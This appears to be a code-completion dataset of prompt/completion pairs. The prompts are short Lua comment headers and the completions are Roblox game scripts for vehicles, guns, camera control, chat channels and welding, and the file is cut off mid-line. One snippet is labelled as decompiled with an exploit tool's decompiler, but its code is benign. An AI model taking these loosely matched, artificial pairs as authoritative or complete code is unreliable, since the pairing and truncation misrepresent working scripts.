prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- options -------------------------
setupmode = "Auto" -- Manual or Auto (if you want to pick what plugins you have yourself or you want it to be automated) soundplugin = "StockSound" -- StockSound, SoundSuite or 1.5 Sound (no others are supported, sorry!) (MANUAL ONLY) camkey = "v" -- the key you use for first person camera level = 50 -- 0% - 100% exceptions = {"Pedal","Shift"} -- put names of audios to ignore here (AUTO ONLY)
--[[ Server Module --]]
local Settings = { --, not ; ? | server module!! BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961' ,Damage = {60, 100} ,OneHanded = false --DONT USE YET ,FakeArms = true ,FakeArmTransparency = 0 ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0) ,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0) } return Settings
---Below: Only change at spaces where i say u have to xd --but i made all functions Userfriendly for people like u alex xD
function fireB(Type,AmmoSource) wmissile = bin:findFirstChild("Bullet") missile = wmissile:clone() missile.CFrame = AmmoSource.CFrame if(smoke_at_gun == false) then missile.Smoke.Enabled = false end missile.WeaponScript.Disabled = false WM = Instance.new("Model") WM.Name = "Bullet" WM.Parent = game.Players.LocalPlayer.Character missile.Parent = WM local creator_tag = Instance.new("ObjectValue") creator_tag.Value = game.Players.LocalPlayer creator_tag.Name = "creator" creator_tag.Parent = missile missile.Owner.Value = vehicle end function fire(pln,spn) local missile = bin.Rocket:clone() missile.CFrame = spn.CFrame * CFrame.new(0, 0, -35) missile.Mesh.Scale = Vector3.new(0.3, 0.3, 0.4)-- Resizer in case :3 missile.RocketScript.Disabled = false missile.Parent = game.Workspace local creator_tag = Instance.new("ObjectValue") creator_tag.Value = game.Players.LocalPlayer creator_tag.Name = "creator" creator_tag.Parent = missile --Rocket ID --missile.Rocket_ID.Value = pln.Parts.Values.Pln_ID.Value --Da rest... missile.Owner.Value = pln end function move(point, engine)--Move Settings. this makes sure that the plane moves correctly. [NOT TO CHANGE!] local origincframe = engine:findFirstChild("BodyGyro").cframe size = engine.Size target = engine.Position+((point - engine.Position).unit*100) local dir = (target - engine.Position).unit local spawnPos = engine.Position left = engine.CFrame*CFrame.new(-size.x/1, 0, 0).p right = engine.CFrame*CFrame.new(size.x/1, 0, 0).p md = (target - engine.Position).magnitude foebmd = engine.CFrame*CFrame.new(0, 0, -md).p toleft = (target -left).magnitude toright = (target -right).magnitude rot = 0.5 --((foebmd - target).magnitude/(5*10)) local pos = spawnPos + (dir * 1) engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000, 9000, 9000) if toleft< toright and toleft >rot and taxiing == false then engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0, rot) , math.pi/ 40 ) elseif toleft > toright and toright >rot and taxiing == false then engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)*CFrame.fromAxisAngle( Vector3.new(0, 0,-rot) , math.pi/ 40 ) else engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir) end wait(0.1) engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0, 0, 0) engine:findFirstChild("BodyGyro").cframe = origincframe end function computeDirection(vec)--finds the Direction of the place [NOT TO CHANGE!] local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end function findPlane(player)--needed to find the plane. [NOT TO CHANGE!] local list = player.Character:GetChildren() for x = 1, #list do if (list[x].Name == "Plane") then local weld = list[x]:FindFirstChild("Parts"):FindFirstChild("Seat"):FindFirstChild("SeatWeld") if (weld ~= nil) and (weld.Part1.Name == "HumanoidRootPart") then print(list[x]) return list[x] end end end return nil end function onFollow(mouse) --A function to Follow the mouse [NOT TO CHANGE!] if(Mousefollow == false) and (on == true) then wait() Mousefollow = true elseif(Mousefollow == true)then wait() Mousefollow = false elseif(on == false) then Mousefollow = false end end function onButton1Down(mouse)--this is... i forgot but dont change lol xD [NOT TO CHANGE!] if(Mousefollow == false) then return elseif(on == false) and (Mousefollow == true) then Mousefollow = false elseif(Mousefollow == true) and (on == false) then Mousefollow = false elseif(Mousefollow == true) and (on == true) then local vehicle = findPlane(game:GetService("Players").LocalPlayer) if vehicle ~= nil and debounce == false and planedebounce == false then debounce = true controlling = true while Mousefollow == true do---If a error at mouse then here!! wait() local engine = vehicle.Parts.Engine local position = mouse.Hit local target = position.p if engine ~= nil then move(target, engine) end if planedebounce == true or controlling == false then break end end wait(.1) debounce = false end end end function onButton1Up(mouse)--The mouse function yeh a mouse function lol [NOT TO CHANGE!] controlling = false end function setup(p) local pln = p local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = { value = 250 }; local v3 = Instance.new("BindableEvent"); v3.Name = script.Name; v3.Parent = script; v2.event = v3; if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == true then game.Players.LocalPlayer:WaitForChild("Gold").Changed:connect(function(p1) v2.value = p1; v3:Fire(p1); end); end; return v2;
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--rishoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="8" then look=50 elseif key=="9" then if intcam then look=160 else look=180 end elseif key=="0" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="8" and look==5 then look=0 elseif key=="9" and (look==1 or look==1) then look=0 elseif key=="0" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
-- Map storing Player -> Blocked user Ids.
local BlockedUserIdsMap = {} PlayersService.PlayerAdded:connect(function(newPlayer) for player, blockedUsers in pairs(BlockedUserIdsMap) do local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUsers do local blockedUserId = blockedUsers[i] if blockedUserId == newPlayer.UserId then speaker:AddMutedSpeaker(newPlayer.Name) end end end end end) PlayersService.PlayerRemoving:connect(function(removingPlayer) BlockedUserIdsMap[removingPlayer] = nil end) EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList) if type(blockedUserIdsList) ~= "table" then return end local prunedBlockedUserIdsList = {} local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do if type(blockedUserIdsList[i]) == "number" then table.insert(prunedBlockedUserIdsList, blockedUserIdsList[i]) local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end -- We only want to store the first -- MAX_BLOCKED_SPEAKERS_PER_REQ number of ids as needed BlockedUserIdsMap[player] = prunedBlockedUserIdsList end end) EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj) local speaker = ChatService:GetSpeaker(playerObj.Name) if not (speaker and speaker:GetPlayer()) then CreatePlayerSpeakerObject(playerObj) speaker = ChatService:GetSpeaker(playerObj.Name) end local data = {} data.Channels = {} data.SpeakerExtraData = {} for _, channelName in pairs(speaker:GetChannelList()) do local channelObj = ChatService:GetChannel(channelName) if (channelObj) then local channelData = { channelName, channelObj:GetWelcomeMessageForSpeaker(speaker), channelObj:GetHistoryLogForSpeaker(speaker), channelObj.ChannelNameColor, } table.insert(data.Channels, channelData) end end for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do local oSpeaker = ChatService:GetSpeaker(oSpeakerName) data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData end return data end) local function DoJoinCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (channel) then if (channel.Joinable) then if (not speaker:IsInChannel(channel.Name)) then speaker:JoinChannel(channel.Name) else speaker:SetMainChannel(channel.Name) local msg = ChatLocalization:FormatMessageToSend( "GameChat_SwitchChannel_NowInChannel", string.format("You are now chatting in channel: '%s'", channel.Name), "RBX_NAME", channel.Name) speaker:SendSystemMessage(msg, channel.Name) end else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_YouCannotJoinChannel", "You cannot join channel '" .. channelName .. "'.", "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_ChannelDoesNotExist", "Channel '" .. channelName .. "' does not exist.", "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end end end local function DoLeaveCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (speaker:IsInChannel(channelName)) then if (channel.Leavable) then speaker:LeaveChannel(channel.Name) local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatService_YouHaveLeftChannel", string.format("You have left channel '%s'", channelName), "RBX_NAME", channel.Name) speaker:SendSystemMessage(msg, "System") else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_YouCannotLeaveChannel", ("You cannot leave channel '" .. channelName .. "'."), "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end else local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_YouAreNotInChannel", ("You are not in channel '" .. channelName .. "'."), "RBX_NAME", channelName) speaker:SendSystemMessage(msg, fromChannelName) end end end ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel) if (string.sub(message, 1, 6):lower() == "/join ") then DoJoinCommand(fromSpeaker, string.sub(message, 7), channel) return true elseif (string.sub(message, 1, 3):lower() == "/j ") then DoJoinCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 7):lower() == "/leave ") then DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel) return true elseif (string.sub(message, 1, 3):lower() == "/l ") then DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel) return true end return false end) if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName) allChannel.Leavable = false allChannel.AutoJoin = true allChannel:RegisterGetWelcomeMessageFunction(function(speaker) if RunService:IsStudio() then return nil end local player = speaker:GetPlayer() if player then local success, canChat = pcall(function() return Chat:CanUserChatAsync(player.UserId) end) if success and not canChat then return "" end end end) end local systemChannel = ChatService:AddChannel("System") systemChannel.Leavable = false systemChannel.AutoJoin = true systemChannel.WelcomeMessage = ChatLocalization:FormatMessageToSend( "GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications." ) systemChannel.SpeakerJoined:connect(function(speakerName) systemChannel:MuteSpeaker(speakerName) end) local function TryRunModule(module) if module:IsA("ModuleScript") then local ret = require(module) if (type(ret) == "function") then ret(ChatService) end end end local modules = Chat:WaitForChild("ChatModules") modules.ChildAdded:connect(function(child) local success, returnval = pcall(TryRunModule, child) if not success and returnval then print("Error running module " ..child.Name.. ": " ..returnval) end end) for _, module in pairs(modules:GetChildren()) do local success, returnval = pcall(TryRunModule, module) if not success and returnval then print("Error running module " ..module.Name.. ": " ..returnval) end end PlayersService.PlayerRemoving:connect(function(playerObj) if (ChatService:GetSpeaker(playerObj.Name)) then ChatService:RemoveSpeaker(playerObj.Name) end end)
-- MasterWeld by Zephyred -- Works for all types of parts, unions etc.
function WeldPair(x, y) local weld = Instance.new("Weld",x) weld.Part0 = x weld.Part1 = y weld.C1 = y.CFrame:toObjectSpace(x.CFrame); end function WeldAll(model, main) -- model can be anything if model:IsA("BasePart") then WeldPair(main, model) end for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end end function UnanchorAll(model) -- model can be anything if (model:IsA("BasePart")) then model.Anchored = false end for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end end WeldAll(script.Parent, script.Parent.Part) UnanchorAll(script.Parent) script:Destroy() -- Done, clean script up.
-- References to reduce indexing time
local GetConnectedParts = Instance.new('Part').GetConnectedParts; local GetChildren = script.GetChildren; function GetPartWelds(Part) -- Returns any BT-created welds involving `Part` local Welds = {}; -- Get welds stored inside `Part` for Weld in pairs(SearchWelds(Part, Part)) do Welds[Weld] = true; end; -- Get welds stored inside connected parts for _, ConnectedPart in pairs(GetConnectedParts(Part)) do for Weld in pairs(SearchWelds(ConnectedPart, Part)) do Welds[Weld] = true; end; end; -- Return all found welds return Welds; end; function SearchWelds(Haystack, Part) -- Searches for and returns BT-created welds in `Haystack` involving `Part` local Welds = {}; -- Search the haystack for welds involving `Part` for _, Item in pairs(GetChildren(Haystack)) do -- Check if this item is a BT-created weld involving the part if Item.Name == 'BTWeld' and Item.ClassName == 'Weld' and (Item.Part0 == Part or Item.Part1 == Part) then -- Store weld if valid Welds[Item] = true; end; end; -- Return the found welds return Welds; end; function CreateWelds() -- Creates welds for every selected part to the focused part -- Determine welding target local WeldTarget = (Selection.Focus:IsA 'BasePart' and Selection.Focus) or (Selection.Focus:IsA 'Model' and Selection.Focus.PrimaryPart) or Selection.Focus:FindFirstChildWhichIsA('BasePart', true) -- Send the change request to the server API local Welds = Core.SyncAPI:Invoke('CreateWelds', Selection.Parts, WeldTarget) -- Update the UI with the number of welds created UI.Changes.Text.Text = ('created %s weld%s'):format(#Welds, #Welds == 1 and '' or 's'); -- Put together the history record local HistoryRecord = { Welds = Welds; Unapply = function (HistoryRecord) -- Reverts this change -- Remove the welds Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds); end; Apply = function (HistoryRecord) -- Reapplies this change -- Restore the welds Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds); end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function BreakWelds() -- Search for any selection-connecting, BT-created welds and remove them local Welds = {}; -- Find welds in selected parts for _, Part in pairs(Selection.Parts) do for Weld in pairs(GetPartWelds(Part)) do Welds[Weld] = true; end; end; -- Turn weld index into list Welds = Support.Keys(Welds); -- Send the change request to the server API local WeldsRemoved = Core.SyncAPI:Invoke('RemoveWelds', Welds); -- Update the UI with the number of welds removed UI.Changes.Text.Text = ('removed %s weld%s'):format(WeldsRemoved, WeldsRemoved == 1 and '' or 's'); -- Put together the history record local HistoryRecord = { Welds = Welds; Unapply = function (HistoryRecord) -- Reverts this change -- Restore the welds Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds); end; Apply = function (HistoryRecord) -- Reapplies this change -- Remove the welds Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds); end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function EnableFocusHighlighting() -- Enables automatic highlighting of the focused part in the selection -- Only enable focus highlighting in tool mode if Core.Mode ~= 'Tool' then return; end; -- Reset all outline colors Core.Selection.RecolorOutlines(Core.Selection.Color); -- Recolor current focused item if Selection.Focus and (#Selection.Parts > 1) then Core.Selection.RecolorOutline(Selection.Focus, BrickColor.new('Deep orange')) end; -- Recolor future focused items Connections.FocusHighlighting = Selection.FocusChanged:Connect(function (FocusedItem) -- Reset all outline colors Core.Selection.RecolorOutlines(Core.Selection.Color); -- Recolor newly focused item if FocusedItem and (#Selection.Parts > 1) then Core.Selection.RecolorOutline(FocusedItem, BrickColor.new('Deep orange')) end; end); end;
-- When key released
function onKeyUp(key) if key == nil then return end key = key:lower() -- Stop firing MG if key == 'f' then firingMg = false; end end script.Parent.Selected:connect(onSelected) script.Parent.Deselected:connect(onDeselected)
--//Setup//--
local Button = script.Parent local MainButton = Button.MainButton local ClickDetector = MainButton.ClickDetector
-- Public Virtual -- This function is called when the state is entered
function BaseState:Enter() end
------------------------------
script.Parent.CanCollide = false script.Parent.Anchored = false for i,v in pairs(script.Parent:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "WedgePart" or v.ClassName == "TrussPart" or v.ClassName == "CornerWedgePart" or v.ClassName == "MeshPart" then v.Anchored = false v.CanCollide = false end end while true do wait() if not sw then fl = fl + floatInc if fl >= maxFloat then sw = true end else fl = fl - floatInc if fl <=-maxFloat then sw = false end end if pet ~= nil and hum ~= nil and head ~= nil then if hum.Health >= 0 then local cf = head.CFrame * CFrame.new(3,-2.5+fl,3) pet.BodyPosition.Position = Vector3.new(cf.x,cf.y,cf.z) pet.BodyGyro.CFrame = head.CFrame * CFrame.new(3,0,-3) else break end end end
-- tween engine sound volume when we start driving
local engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0) local Remotes = Vehicle:WaitForChild("Remotes") local SetThrottleRemote = Remotes:WaitForChild("SetThrottle") local SetThrottleConnection = nil local EngineSoundEnabled = true local TireTrailEnabled = false local ignitionTime = 1.75 -- seconds local lastAvgAngularVelocity = 0 local throttleEnabled = false local lastThrottleUpdate = 0 local enginePower = 0 -- current rpm of the engine local gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)
--//Controller//--
ClickDetector.MouseClick:Connect(function() if not Settings.Clicked then Settings.Clicked = true MainButton.Color = Color3.fromRGB(0, 255, 0) if CurrentLayer.Value == 0 then CurrentLayer.Value = 1 for _, Object in pairs(FirstLayer:GetChildren()) do if Object:IsA("BasePart") then Object.Transparency = 0 Object.CanCollide = true end end elseif CurrentLayer.Value == 1 then CurrentLayer.Value = 2 for _, Object in pairs(SecondLayer:GetChildren()) do if Object:IsA("BasePart") then Object.Transparency = 0 Object.CanCollide = true end end elseif CurrentLayer.Value == 2 then CurrentLayer.Value = 3 for _, Object in pairs(ThirdLayer:GetChildren()) do if Object:IsA("BasePart") then Object.Transparency = 0 Object.CanCollide = true end end end end end)
--[=[ Inverts the result of a promise, turning a resolved promise into a rejected one, and a rejected one into a resolved one. @param promise Promise<T> @return Promise<T> ]=]
function PromiseUtils.invert(promise) if promise:IsPending() then return promise:Then(function(...) return Promise.rejected(...) end, function(...) return Promise.resolved(...) end) else local results = {promise:GetResults()} if results[1] then return Promise.rejected(unpack(results, 2)) else return Promise.resolved(unpack(results, 2)) end end end
-- events
Players.PlayerRemoving:connect(function(player) if pings[player] then pings[player] = nil end end) script.Projectile.Event:connect(Projectile)
-- Constructor.
function FastCast.new() return setmetatable({ LengthChanged = Signal.new("LengthChanged"), RayFinalHit = Signal.new("RayFinalHit"), RayHit = Signal.new("RayHit"), RayPenetrated = Signal.new("RayPenetrated"), CastTerminating = Signal.new("CastTerminating"), WorldRoot = workspace }, FastCast) end
-- functions
local function Raycast(position, direction, ignore) local ray = Ray.new(position, direction) local success = false local h, p, n, humanoid table.insert(ignore, Workspace.Effects) table.insert(ignore, Workspace.Drops) repeat h, p, n = Workspace:FindPartOnRayWithIgnoreList(ray, ignore) if h then local humanoid = h.Parent:FindFirstChildOfClass("Humanoid") if humanoid then table.insert(ignore, humanoid.Parent) success = false elseif h.CanCollide and h.Transparency < 1 then success = true else table.insert(ignore, h) success = false end else success = true end until success return h, p, n end
---------------------------------------------------------------------------------------------- --------------------------------[PROGRAMA]---------------------------------------------------- ----------------------------------------------------------------------------------------------
HeadBase = Instance.new('Part') HeadBase.Name = 'BasePart' HeadBase.Parent = Camera HeadBase.Anchored = true HeadBase.CanCollide = false HeadBase.Transparency = 1 HeadBase.Size = Vector3.new(0.1, 0.1, 0.1) HeadBaseAtt = Instance.new('Attachment') HeadBaseAtt.Parent = HeadBase local StatusUI = PastaHUD:WaitForChild("StatusUI") local StatusClone = StatusUI:Clone() StatusClone.Parent = Jogador.PlayerGui if ServerConfig.EnableHunger then StatusClone.FomeSede.Disabled = false end if ServerConfig.EnableGPS then local StatusUI = PastaHUD:WaitForChild("GPShud") local StatusClone = StatusUI:Clone() StatusClone.Parent = Jogador.PlayerGui StatusClone.GPS.Disabled = false end function ResetWorkspace() Ignore_Model:ClearAllChildren() BulletModel:ClearAllChildren() workspace.Terrain:ClearAllChildren() end ResetWorkspace() Evt.Hit.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings) if Player ~= Jogador then Hitmarker.HitEffect(Ray_Ignore,ACS_Storage,Position, HitPart, Normal, Material,Settings) end end) Evt.HeadRot.OnClientEvent:Connect(function(Player, Rotacao, Offset, Equipado) if Player ~= Jogador and Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") ~= nil then local HRPCF = Player.Character["HumanoidRootPart"].CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(Offset) Player.Character.Torso:WaitForChild("Neck").C0 = Player.Character.Torso.CFrame:toObjectSpace(HRPCF) Player.Character.Torso:WaitForChild("Neck").C1 = CFrame.Angles(Rotacao, 0, 0) end end) Evt.Atirar.OnClientEvent:Connect(function(Player,FireRate,Anims,Arma) if Player ~= Jogador then if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil and Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") ~= nil then local Muzzle = Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") if Player.Character['S' .. Arma.Name]:FindFirstChild("Silenciador") ~= nil and Player.Character['S' .. Arma.Name].Silenciador.Transparency == 0 then Muzzle:FindFirstChild("FlashFX").Brightness = 0 Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 0 else Muzzle:FindFirstChild("FlashFX").Brightness = 5 Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 1000 end for _, v in pairs(Muzzle:GetChildren()) do if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then v.Enabled = true end end delay(1 / 30, function() for _, v in pairs(Muzzle:GetChildren()) do if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then v.Enabled = false end end end) end if Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW") TS:Create(AnimBase, TweenInfo.new(FireRate), {C1 = Anims.ShootPos} ):Play() wait(FireRate*2) TS:Create(AnimBase, TweenInfo.new(.2), {C1 = CFrame.new()} ):Play() end end end) function Setup(Tools) local Torso = Character:FindFirstChild('Torso') local Head = Character:FindFirstChild('Head') local HumanoidRootPart = Character:FindFirstChild('HumanoidRootPart') ArmaClient = Tools ArmaClone = GunModelClient:WaitForChild(ArmaClient.Name):Clone() Var = Tools.ACS_Modulo.Variaveis Settings = require(Var:WaitForChild("Settings")) Anims = require(Var:WaitForChild("Animations")) VRecoil = math.random(Settings.VRecoil[1],Settings.VRecoil[2])/1000 HRecoil = math.random(Settings.HRecoil[1],Settings.HRecoil[2])/1000 VPunchBase = (Settings.VPunchBase) HPunchBase = (Settings.HPunchBase) DPunchBase = (Settings.DPunchBase) RecoilPower = Settings.MinRecoilPower BSpread = Settings.MinSpread Silencer = Var.Suppressor Ammo, StoredAmmo, GLAmmo = Var.Ammo, Var.StoredAmmo, Var.LauncherAmmo Chambered,Emperrado,GLChambered = Var.Chambered, Var.Emperrado, Var.GLChambered FireRate = 1/(Settings.FireRate/60) BurstFireRate = 1/(Settings.BurstFireRate/60) ModoTreino = Settings.ModoTreino Sens = Var.Sens Zeroing = Var.Zeroing Evt.Equipar:FireServer(ArmaClient,Settings) Folder = Instance.new("Model", Camera) Folder.Name = Tools.Name AnimBase = Instance.new("Part", Folder) AnimBase.FormFactor = "Custom" AnimBase.CanCollide = false AnimBase.Transparency = 1 AnimBase.Anchored = true AnimBase.Name = "AnimBase" AnimBase.Size = Vector3.new(0.1, 0.1, 0.1) AnimBaseW = Instance.new("Motor6D") AnimBaseW.Part0 = AnimBase AnimBaseW.Part1 = HeadBase AnimBaseW.Parent = AnimBase AnimBaseW.Name = "AnimBaseW" AnimBase.Anchored = false Clone = Instance.new('Motor6D') Clone.Name = 'Clone' Clone.Parent = AnimBase Clone.Part0 = AnimBase Clone.Part1 = HeadBase ArmaClone.Parent = Folder for L_209_forvar1, L_210_forvar2 in pairs(ArmaClone:GetChildren()) do if L_210_forvar2:IsA('BasePart') and L_210_forvar2.Name ~= 'Handle' then if L_210_forvar2.Name ~= "Bolt" and L_210_forvar2.Name ~= 'Lid' then Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle")) end if L_210_forvar2.Name == "Bolt" or L_210_forvar2.Name == "Slide" then Ultil.WeldComplex(ArmaClone:WaitForChild("Handle"), L_210_forvar2, L_210_forvar2.Name) end; if L_210_forvar2.Name == "Lid" then if ArmaClone:FindFirstChild('LidHinge') then Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("LidHinge")) else Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle")) end end end end; for L_213_forvar1, L_214_forvar2 in pairs(ArmaClone:GetChildren()) do if L_214_forvar2:IsA('BasePart') and L_214_forvar2.Name ~= 